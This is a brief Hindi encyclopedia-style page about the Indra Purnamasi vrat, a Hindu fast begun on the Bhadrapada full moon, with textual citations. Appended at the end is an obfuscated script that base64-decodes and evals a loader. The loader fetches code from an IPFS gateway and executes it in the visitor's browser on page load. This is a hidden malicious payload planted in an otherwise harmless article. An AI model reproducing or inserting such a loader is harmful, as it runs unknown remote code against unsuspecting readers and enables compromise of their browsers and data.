इन्द्र पूर्णमासी

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
  • यह व्रत भाद्रपद की पूर्णिमा पर उपवास करके आरम्भ करना चाहिए।
  • इस व्रत में तीस गृहस्थों का उनकी पत्नियों के साथ आभूषणों के सहित सम्मान करना चाहिए।
  • इसके करने से मोक्ष की प्राप्ति होती है।[१]


टीका टिप्पणी और संदर्भ

  1. गदाधरपद्धति (176), हेमाद्रि व्रतखण्ड (2, 196)।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>